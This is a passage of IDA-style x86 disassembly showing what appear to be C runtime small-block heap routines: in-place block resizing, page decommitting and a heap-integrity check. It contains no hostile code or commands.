var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 30h mov eax, [ebp+arg_8] add eax, 17h and al, 0F0h mov [ebp+var_1C], eax mov ecx, [ebp+arg_0] mov edx, [ecx+10h] mov [ebp+var_30], edx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] sub ecx, [eax+0Ch] mov [ebp+var_C], ecx mov edx, [ebp+var_C] shr edx, 0Fh mov [ebp+var_4], edx mov eax, [ebp+var_4] imul eax, 204h mov ecx, [ebp+var_30] lea edx, [ecx+eax+144h] mov [ebp+var_8], edx mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+var_14], eax mov ecx, [ebp+var_14] mov edx, [ecx] sub edx, 1 mov [ebp+var_28], edx mov eax, [ebp+var_14] add eax, [ebp+var_28] mov [ebp+var_2C], eax mov ecx, [ebp+var_2C] mov edx, [ecx] mov [ebp+var_10], edx mov eax, [ebp+var_1C] cmp eax, [ebp+var_28] jle loc_41D076 mov ecx, [ebp+var_10] and ecx, 1 test ecx, ecx jnz short loc_41CDDB mov edx, [ebp+var_28] add edx, [ebp+var_10] cmp [ebp+var_1C], edx jle short loc_41CDE2 loc_41CDDB: ; CODE XREF: sub_41CD50+7Ej xor eax, eax jmp loc_41D337 ; --------------------------------------------------------------------------- loc_41CDE2: ; CODE XREF: sub_41CD50+89j mov eax, [ebp+var_10] sar eax, 4 sub eax, 1 mov [ebp+var_20], eax cmp [ebp+var_20], 3Fh jbe short loc_41CDFB mov [ebp+var_20], 3Fh loc_41CDFB: ; CODE XREF: sub_41CD50+A2j mov ecx, [ebp+var_2C] mov edx, [ebp+var_2C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_41CEDD cmp [ebp+var_20], 20h jnb short loc_41CE72 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_30] add edx, [ebp+var_20] mov [edx+4], cl mov eax, [ebp+var_30] add eax, [ebp+var_20] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_41CE70 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_41CE70: ; CODE XREF: sub_41CD50+106j jmp short loc_41CEDD ; --------------------------------------------------------------------------- loc_41CE72: ; CODE XREF: sub_41CD50+C1j mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_30] add ecx, [ebp+var_20] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], dl mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_41CEDD mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_41CEDD: ; CODE XREF: sub_41CD50+B7j ; sub_41CD50:loc_41CE70j ... mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov eax, [ebp+var_2C] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_2C] mov eax, [edx+4] mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_28] add eax, [ebp+var_10] sub eax, [ebp+var_1C] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jle loc_41D057 mov ecx, [ebp+var_14] add ecx, [ebp+var_1C] mov [ebp+var_2C], ecx mov edx, [ebp+var_10] sar edx, 4 sub edx, 1 mov [ebp+var_20], edx cmp [ebp+var_20], 3Fh jbe short loc_41CF33 mov [ebp+var_20], 3Fh loc_41CF33: ; CODE XREF: sub_41CD50+1DAj mov eax, [ebp+var_20] mov ecx, [ebp+var_8] lea edx, [ecx+eax*8] mov [ebp+var_18], edx mov eax, [ebp+var_2C] mov ecx, [ebp+var_18] mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_2C] mov ecx, [ebp+var_18] mov [eax+8], ecx mov edx, [ebp+var_18] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+var_2C] mov edx, [ecx+4] mov eax, [ebp+var_2C] mov [edx+8], eax mov ecx, [ebp+var_2C] mov edx, [ebp+var_2C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_41D043 cmp [ebp+var_20], 20h jnb short loc_41CFDC mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], cl test edx, edx jnz short loc_41CFBA mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax] or ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_41CFBA: ; CODE XREF: sub_41CD50+252j mov eax, 80000000h mov ecx, [ebp+var_20] shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+44h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+44h], ecx jmp short loc_41D043 ; --------------------------------------------------------------------------- loc_41CFDC: ; CODE XREF: sub_41CD50+22Fj mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], cl test edx, edx jnz short loc_41D01A mov ecx, [ebp+var_20] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, edx mov edx, [ebp+arg_0] mov [edx+4], ecx loc_41D01A: ; CODE XREF: sub_41CD50+2ADj mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+0C4h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+0C4h], ecx loc_41D043: ; CODE XREF: sub_41CD50+225j ; sub_41CD50+28Aj mov ecx, [ebp+var_2C] mov edx, [ebp+var_10] mov [ecx], edx mov eax, [ebp+var_2C] add eax, [ebp+var_10] mov ecx, [ebp+var_10] mov [eax-4], ecx loc_41D057: ; CODE XREF: sub_41CD50+1BBj mov edx, [ebp+var_1C] add edx, 1 mov eax, [ebp+var_14] mov [eax], edx mov ecx, [ebp+var_1C] add ecx, 1 mov edx, [ebp+var_14] add edx, [ebp+var_1C] mov [edx-4], ecx jmp loc_41D332 ; --------------------------------------------------------------------------- loc_41D076: ; CODE XREF: sub_41CD50+70j mov eax, [ebp+var_1C] cmp eax, [ebp+var_28] jge loc_41D332 mov ecx, [ebp+var_1C] add ecx, 1 mov edx, [ebp+var_14] mov [edx], ecx mov eax, [ebp+var_1C] add eax, 1 mov ecx, [ebp+var_14] add ecx, [ebp+var_1C] mov [ecx-4], eax mov edx, [ebp+var_14] add edx, [ebp+var_1C] mov [ebp+var_14], edx mov eax, [ebp+var_28] sub eax, [ebp+var_1C] mov [ebp+var_28], eax mov ecx, [ebp+var_28] sar ecx, 4 sub ecx, 1 mov [ebp+var_24], ecx cmp [ebp+var_24], 3Fh jbe short loc_41D0C7 mov [ebp+var_24], 3Fh loc_41D0C7: ; CODE XREF: sub_41CD50+36Ej mov edx, [ebp+var_10] and edx, 1 test edx, edx jnz loc_41D210 mov eax, [ebp+var_10] sar eax, 4 sub eax, 1 mov [ebp+var_20], eax cmp [ebp+var_20], 3Fh jbe short loc_41D0EE mov [ebp+var_20], 3Fh loc_41D0EE: ; CODE XREF: sub_41CD50+395j mov ecx, [ebp+var_2C] mov edx, [ebp+var_2C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_41D1D0 cmp [ebp+var_20], 20h jnb short loc_41D165 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_30] add edx, [ebp+var_20] mov [edx+4], cl mov eax, [ebp+var_30] add eax, [ebp+var_20] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_41D163 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_41D163: ; CODE XREF: sub_41CD50+3F9j jmp short loc_41D1D0 ; --------------------------------------------------------------------------- loc_41D165: ; CODE XREF: sub_41CD50+3B4j mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_30] add ecx, [ebp+var_20] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], dl mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_41D1D0 mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_41D1D0: ; CODE XREF: sub_41CD50+3AAj ; sub_41CD50:loc_41D163j ... mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov eax, [ebp+var_2C] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_2C] mov eax, [edx+4] mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_28] add eax, [ebp+var_10] mov [ebp+var_28], eax mov ecx, [ebp+var_28] sar ecx, 4 sub ecx, 1 mov [ebp+var_24], ecx cmp [ebp+var_24], 3Fh jbe short loc_41D210 mov [ebp+var_24], 3Fh loc_41D210: ; CODE XREF: sub_41CD50+37Fj ; sub_41CD50+4B7j mov edx, [ebp+var_24] mov eax, [ebp+var_8] lea ecx, [eax+edx*8] mov [ebp+var_18], ecx mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov [edx+8], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_14] mov [ecx+4], edx mov eax, [ebp+var_14] mov ecx, [eax+4] mov edx, [ebp+var_14] mov [ecx+8], edx mov eax, [ebp+var_14] mov ecx, [ebp+var_14] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_41D31E cmp [ebp+var_24], 20h jnb short loc_41D2B8 mov eax, [ebp+var_30] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_30] add edx, [ebp+var_24] mov al, [edx+4] add al, 1 mov edx, [ebp+var_30] add edx, [ebp+var_24] mov [edx+4], al test ecx, ecx jnz short loc_41D296 mov eax, 80000000h mov ecx, [ebp+var_24] shr eax, cl mov ecx, [ebp+arg_0] mov edx, [ecx] or edx, eax mov eax, [ebp+arg_0] mov [eax], edx loc_41D296: ; CODE XREF: sub_41CD50+52Ej mov edx, 80000000h mov ecx, [ebp+var_24] shr edx, cl mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+44h] or eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+44h], eax jmp short loc_41D31E ; --------------------------------------------------------------------------- loc_41D2B8: ; CODE XREF: sub_41CD50+50Cj mov eax, [ebp+var_30] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_30] add edx, [ebp+var_24] mov al, [edx+4] add al, 1 mov edx, [ebp+var_30] add edx, [ebp+var_24] mov [edx+4], al test ecx, ecx jnz short loc_41D2F5 mov ecx, [ebp+var_24] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_41D2F5: ; CODE XREF: sub_41CD50+588j mov ecx, [ebp+var_24] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+0C4h] or eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+0C4h], eax loc_41D31E: ; CODE XREF: sub_41CD50+502j ; sub_41CD50+566j mov eax, [ebp+var_14] mov ecx, [ebp+var_28] mov [eax], ecx mov edx, [ebp+var_14] add edx, [ebp+var_28] mov eax, [ebp+var_28] mov [edx-4], eax loc_41D332: ; CODE XREF: sub_41CD50+321j ; sub_41CD50+32Cj mov eax, 1 loc_41D337: ; CODE XREF: sub_41CD50+8Dj mov esp, ebp pop ebp retn sub_41CD50 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4DB794, 0 jz loc_41D46C mov eax, dword_4DB78C shl eax, 0Fh mov ecx, dword_4DB794 mov edx, [ecx+0Ch] add edx, eax mov [ebp-4], edx push 4000h push 8000h mov eax, [ebp-4] push eax nop call near ptr 2890603h mov edx, 80000000h mov ecx, dword_4DB78C shr edx, cl mov eax, dword_4DB794 mov ecx, [eax+8] or ecx, edx mov edx, dword_4DB794 mov [edx+8], ecx mov eax, dword_4DB794 mov ecx, [eax+10h] mov edx, dword_4DB78C mov dword ptr [ecx+edx*4+0C4h], 0 mov eax, dword_4DB794 mov ecx, [eax+10h] mov dl, [ecx+43h] sub dl, 1 mov eax, dword_4DB794 mov ecx, [eax+10h] mov [ecx+43h], dl mov edx, dword_4DB794 mov eax, [edx+10h] movsx ecx, byte ptr [eax+43h] test ecx, ecx jnz short loc_41D3F2 mov edx, dword_4DB794 mov eax, [edx+4] and al, 0FEh mov ecx, dword_4DB794 mov [ecx+4], eax loc_41D3F2: ; CODE XREF: ___:0041D3DCj mov edx, dword_4DB794 cmp dword ptr [edx+8], 0FFFFFFFFh jnz short loc_41D462 cmp dword_4DB798, 1 jle short loc_41D462 mov eax, dword_4DB794 mov ecx, [eax+10h] push ecx push 0 mov edx, dword_4DB7A0 push edx nop call near ptr 28820CAh mov eax, dword_4DB798 imul eax, 14h mov ecx, dword_4DB79C add ecx, eax mov edx, dword_4DB794 add edx, 14h sub ecx, edx push ecx mov eax, dword_4DB794 add eax, 14h push eax mov ecx, dword_4DB794 push ecx call sub_4197C0 add esp, 0Ch mov edx, dword_4DB798 sub edx, 1 mov dword_4DB798, edx loc_41D462: ; CODE XREF: ___:0041D3FCj ; ___:0041D405j mov dword_4DB794, 0 loc_41D46C: ; CODE XREF: ___:0041D34Bj mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D470 proc near ; CODE XREF: sub_41BC70+15p var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 168h mov eax, dword_4DB798 imul eax, 14h push eax mov ecx, dword_4DB79C push ecx nop call near ptr 28215EBh test eax, eax jz short loc_41D49B or eax, 0FFFFFFFFh jmp loc_41DA89 ; --------------------------------------------------------------------------- loc_41D49B: ; CODE XREF: sub_41D470+21j mov edx, dword_4DB79C mov [ebp+var_13C], edx mov [ebp+var_120], 0 jmp short loc_41D4C2 ; --------------------------------------------------------------------------- loc_41D4B3: ; CODE XREF: sub_41D470+612j mov eax, [ebp+var_120] add eax, 1 mov [ebp+var_120], eax loc_41D4C2: ; CODE XREF: sub_41D470+41j mov ecx, [ebp+var_120] cmp ecx, dword_4DB798 jge loc_41DA87 mov edx, [ebp+var_13C] mov eax, [edx+10h] mov [ebp+var_160], eax push 41C4h mov ecx, [ebp+var_160] push ecx call near ptr 28215EBh nop test eax, eax jz short loc_41D503 mov eax, 0FFFFFFFEh jmp loc_41DA89 ; --------------------------------------------------------------------------- loc_41D503: ; CODE XREF: sub_41D470+87j mov edx, [ebp+var_13C] mov eax, [edx+0Ch] mov [ebp+var_128], eax mov ecx, [ebp+var_160] add ecx, 144h mov [ebp+var_18], ecx mov edx, [ebp+var_13C] mov eax, [edx+8] mov [ebp+var_4], eax mov [ebp+var_144], 0 mov [ebp+var_158], 0 mov [ebp+var_C], 0 jmp short loc_41D553 ; --------------------------------------------------------------------------- loc_41D54A: ; CODE XREF: sub_41D470+5D6j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_41D553: ; CODE XREF: sub_41D470+D8j cmp [ebp+var_C], 20h jge loc_41DA4B mov [ebp+var_11C], 0 mov [ebp+var_150], 0 mov [ebp+var_12C], 0 mov [ebp+var_14C], 0 jmp short loc_41D596 ; --------------------------------------------------------------------------- loc_41D587: ; CODE XREF: sub_41D470+140j mov edx, [ebp+var_14C] add edx, 1 mov [ebp+var_14C], edx loc_41D596: ; CODE XREF: sub_41D470+115j cmp [ebp+var_14C], 40h jge short loc_41D5B2 mov eax, [ebp+var_14C] mov [ebp+eax*4+var_118], 0 jmp short loc_41D587 ; --------------------------------------------------------------------------- loc_41D5B2: ; CODE XREF: sub_41D470+12Dj cmp [ebp+var_4], 0 jl loc_41D9ED push 8000h mov ecx, [ebp+var_128] push ecx nop call near ptr 28215EBh test eax, eax jz short loc_41D5DC mov eax, 0FFFFFFFCh jmp loc_41DA89 ; --------------------------------------------------------------------------- loc_41D5DC: ; CODE XREF: sub_41D470+160j mov edx, [ebp+var_128] mov [ebp+var_8], edx mov [ebp+var_140], 0 jmp short loc_41D600 ; --------------------------------------------------------------------------- loc_41D5F1: ; CODE XREF: sub_41D470+30Fj mov eax, [ebp+var_140] add eax, 1 mov [ebp+var_140], eax loc_41D600: ; CODE XREF: sub_41D470+17Fj cmp [ebp+var_140], 8 jge loc_41D784 mov ecx, [ebp+var_8] add ecx, 0Ch mov [ebp+var_130], ecx mov edx, [ebp+var_130] add edx, 0FF0h mov [ebp+var_138], edx mov eax, [ebp+var_130] cmp dword ptr [eax-4], 0FFFFFFFFh jnz short loc_41D642 mov ecx, [ebp+var_138] cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41D64C loc_41D642: ; CODE XREF: sub_41D470+1C5j mov eax, 0FFFFFFFBh jmp loc_41DA89 ; --------------------------------------------------------------------------- loc_41D64C: ; CODE XREF: sub_41D470+1D0j ; sub_41D470+2E6j mov edx, [ebp+var_130] mov eax, [edx] mov [ebp+var_148], eax mov ecx, [ebp+var_148] mov [ebp+var_154], ecx mov edx, [ebp+var_154] and edx, 1 test edx, edx jz short loc_41D6A9 mov eax, [ebp+var_148] sub eax, 1 mov [ebp+var_148], eax cmp [ebp+var_148], 400h jle short loc_41D698 mov eax, 0FFFFFFFAh jmp loc_41DA89 ; --------------------------------------------------------------------------- loc_41D698: ; CODE XREF: sub_41D470+21Cj mov ecx, [ebp+var_12C] add ecx, 1 mov [ebp+var_12C], ecx jmp short loc_41D6EB ; --------------------------------------------------------------------------- loc_41D6A9: ; CODE XREF: sub_41D470+201j mov edx, [ebp+var_148] sar edx, 4 sub edx, 1 mov [ebp+var_14C], edx cmp [ebp+var_14C], 3Fh jle short loc_41D6CE mov [ebp+var_14C], 3Fh loc_41D6CE: ; CODE XREF: sub_41D470+252j mov eax, [ebp+var_14C] mov ecx, [ebp+eax*4+var_118] add ecx, 1 mov edx, [ebp+var_14C] mov [ebp+edx*4+var_118], ecx loc_41D6EB: ; CODE XREF: sub_41D470+237j cmp [ebp+var_148], 10h jl short loc_41D70D mov eax, [ebp+var_148] and eax, 0Fh test eax, eax jnz short loc_41D70D cmp [ebp+var_148], 0FF0h jle short loc_41D717 loc_41D70D: ; CODE XREF: sub_41D470+282j ; sub_41D470+28Fj mov eax, 0FFFFFFF9h jmp loc_41DA89 ; --------------------------------------------------------------------------- loc_41D717: ; CODE XREF: sub_41D470+29Bj mov ecx, [ebp+var_130] add ecx, [ebp+var_148] mov edx, [ecx-4] cmp edx, [ebp+var_154] jz short loc_41D738 mov eax, 0FFFFFFF8h jmp loc_41DA89 ; --------------------------------------------------------------------------- loc_41D738: ; CODE XREF: sub_41D470+2BCj mov eax, [ebp+var_130] add eax, [ebp+var_148] mov [ebp+var_130], eax mov ecx, [ebp+var_130] cmp ecx, [ebp+var_138] jb loc_41D64C mov edx, [ebp+var_130] cmp edx, [ebp+var_138] jz short loc_41D774 mov eax, 0FFFFFFF8h jmp loc_41DA89 ; --------------------------------------------------------------------------- loc_41D774: ; CODE XREF: sub_41D470+2F8j mov eax, [ebp+var_8] add eax, 1000h mov [ebp+var_8], eax jmp loc_41D5F1 ; --------------------------------------------------------------------------- loc_41D784: ; CODE XREF: sub_41D470+197j mov ecx, [ebp+var_18] mov edx, [ecx] cmp edx, [ebp+var_12C] jz short loc_41D79B mov eax, 0FFFFFFF7h jmp loc_41DA89 ; --------------------------------------------------------------------------- loc_41D79B: ; CODE XREF: sub_41D470+31Fj mov eax, [ebp+var_18] mov [ebp+var_134], eax mov [ebp+var_14], 0 jmp short loc_41D7B6 ; --------------------------------------------------------------------------- loc_41D7AD: ; CODE XREF: sub_41D470+578j mov ecx, [ebp+var_14] add ecx, 1 mov [ebp+var_14], ecx loc_41D7B6: ; CODE XREF: sub_41D470+33Bj cmp [ebp+var_14], 40h jge loc_41D9ED mov [ebp+var_168], 0 mov edx, [ebp+var_134] mov [ebp+var_130], edx loc_41D7D6: ; CODE XREF: sub_41D470+4A5j mov eax, [ebp+var_130] mov ecx, [eax+4] mov [ebp+var_15C], ecx mov edx, [ebp+var_15C] cmp edx, [ebp+var_134] jz loc_41D91A mov eax, [ebp+var_14] mov ecx, [ebp+var_168] cmp ecx, [ebp+eax*4+var_118] jz loc_41D91A mov edx, [ebp+var_15C] cmp edx, [ebp+var_128] jb short loc_41D82E mov eax, [ebp+var_128] add eax, 8000h cmp [ebp+var_15C], eax jb short loc_41D838 loc_41D82E: ; CODE XREF: sub_41D470+3A9j mov eax, 0FFFFFFF6h jmp loc_41DA89 ; --------------------------------------------------------------------------- loc_41D838: ; CODE XREF: sub_41D470+3BCj mov ecx, [ebp+var_15C] and ecx, 0FFFFF000h mov [ebp+var_164], ecx mov edx, [ebp+var_164] add edx, 0Ch mov [ebp+var_10], edx mov eax, [ebp+var_10] add eax, 0FF0h mov [ebp+var_124], eax loc_41D864: ; CODE XREF: sub_41D470+41Cj mov ecx, [ebp+var_10] cmp ecx, [ebp+var_124] jz short loc_41D88E mov edx, [ebp+var_10] cmp edx, [ebp+var_15C] jnz short loc_41D87C jmp short loc_41D88E ; --------------------------------------------------------------------------- loc_41D87C: ; CODE XREF: sub_41D470+408j mov eax, [ebp+var_10] mov ecx, [eax] and ecx, 0FFFFFFFEh mov edx, [ebp+var_10] add edx, ecx mov [ebp+var_10], edx jmp short loc_41D864 ; --------------------------------------------------------------------------- loc_41D88E: ; CODE XREF: sub_41D470+3FDj ; sub_41D470+40Aj mov eax, [ebp+var_10] cmp eax, [ebp+var_124] jnz short loc_41D8A3 mov eax, 0FFFFFFF5h jmp loc_41DA89 ; --------------------------------------------------------------------------- loc_41D8A3: ; CODE XREF: sub_41D470+427j mov ecx, [ebp+var_15C] mov edx, [ecx] sar edx, 4 sub edx, 1 mov [ebp+var_14C], edx cmp [ebp+var_14C], 3Fh jle short loc_41D8CA mov [ebp+var_14C], 3Fh loc_41D8CA: ; CODE XREF: sub_41D470+44Ej mov eax, [ebp+var_14C] cmp eax, [ebp+var_14] jz short loc_41D8DF mov eax, 0FFFFFFF4h jmp loc_41DA89 ; --------------------------------------------------------------------------- loc_41D8DF: ; CODE XREF: sub_41D470+463j mov ecx, [ebp+var_15C] mov edx, [ecx+8] cmp edx, [ebp+var_130] jz short loc_41D8FA mov eax, 0FFFFFFF3h jmp loc_41DA89 ; --------------------------------------------------------------------------- loc_41D8FA: ; CODE XREF: sub_41D470+47Ej mov eax, [ebp+var_15C] mov [ebp+var_130], eax mov ecx, [ebp+var_168] add ecx, 1 mov [ebp+var_168], ecx jmp loc_41D7D6 ; --------------------------------------------------------------------------- loc_41D91A: ; CODE XREF: sub_41D470+381j ; sub_41D470+397j cmp [ebp+var_168], 0 jz short loc_41D991 cmp [ebp+var_14], 20h jge short loc_41D95B mov edx, 80000000h mov ecx, [ebp+var_14] shr edx, cl mov eax, [ebp+var_11C] or eax, edx mov [ebp+var_11C], eax mov edx, 80000000h mov ecx, [ebp+var_14] shr edx, cl mov eax, [ebp+var_144] or eax, edx mov [ebp+var_144], eax jmp short loc_41D991 ; --------------------------------------------------------------------------- loc_41D95B: ; CODE XREF: sub_41D470+4B7j mov ecx, [ebp+var_14] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_150] or eax, edx mov [ebp+var_150], eax mov ecx, [ebp+var_14] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_158] or eax, edx mov [ebp+var_158], eax loc_41D991: ; CODE XREF: sub_41D470+4B1j ; sub_41D470+4E9j mov ecx, [ebp+var_130] mov edx, [ecx+4] cmp edx, [ebp+var_134] jnz short loc_41D9B4 mov eax, [ebp+var_14] mov ecx, [ebp+var_168] cmp ecx, [ebp+eax*4+var_118] jz short loc_41D9BE loc_41D9B4: ; CODE XREF: sub_41D470+530j mov eax, 0FFFFFFF2h jmp loc_41DA89 ; --------------------------------------------------------------------------- loc_41D9BE: ; CODE XREF: sub_41D470+542j mov edx, [ebp+var_134] mov eax, [edx+8] cmp eax, [ebp+var_130] jz short loc_41D9D9 mov eax, 0FFFFFFF1h jmp loc_41DA89 ; --------------------------------------------------------------------------- loc_41D9D9: ; CODE XREF: sub_41D470+55Dj mov ecx, [ebp+var_134] add ecx, 8 mov [ebp+var_134], ecx jmp loc_41D7AD ; --------------------------------------------------------------------------- loc_41D9ED: ; CODE XREF: sub_41D470+146j ; sub_41D470+34Aj mov edx, [ebp+var_C] mov eax, [ebp+var_160] mov ecx, [ebp+var_11C] cmp ecx, [eax+edx*4+44h] jnz short loc_41DA1A mov edx, [ebp+var_C] mov eax, [ebp+var_160] mov ecx, [ebp+var_150] cmp ecx, [eax+edx*4+0C4h] jz short loc_41DA21 loc_41DA1A: ; CODE XREF: sub_41D470+590j mov eax, 0FFFFFFF0h jmp short loc_41DA89 ; --------------------------------------------------------------------------- loc_41DA21: ; CODE XREF: sub_41D470+5A8j mov edx, [ebp+var_128] add edx, 8000h mov [ebp+var_128], edx mov eax, [ebp+var_18] add eax, 204h mov [ebp+var_18], eax mov ecx, [ebp+var_4] shl ecx, 1 mov [ebp+var_4], ecx jmp loc_41D54A ; --------------------------------------------------------------------------- loc_41DA4B: ; CODE XREF: sub_41D470+E7j mov edx, [ebp+var_13C] mov eax, [ebp+var_144] cmp eax, [edx] jnz short loc_41DA6C mov ecx, [ebp+var_13C] mov edx, [ebp+var_158] cmp edx, [ecx+4] jz short loc_41DA73 loc_41DA6C: ; CODE XREF: sub_41D470+5E9j mov eax, 0FFFFFFEFh jmp short loc_41DA89 ; --------------------------------------------------------------------------- loc_41DA73: ; CODE XREF: sub_41D470+5FAj mov eax, [ebp+var_13C] add eax, 14h mov [ebp+var_13C], eax jmp loc_41D4B3 ; --------------------------------------------------------------------------- loc_41DA87: ; CODE XREF: sub_41D470+5Ej xor eax, eax loc_41DA89: ; CODE XREF: sub_41D470+26j ; sub_41D470+8Ej ... mov esp, ebp pop ebp retn sub_41D470 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DA90 proc near ; CODE XREF: sub_416AD0+66p ; sub_4173D0+19p ... var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] add eax, 1 cmp eax, 100h ja short loc_41DABA mov ecx, [ebp+arg_0] mov edx, off_443C7C xor eax, eax mov ax, [edx+ecx*2] and eax, 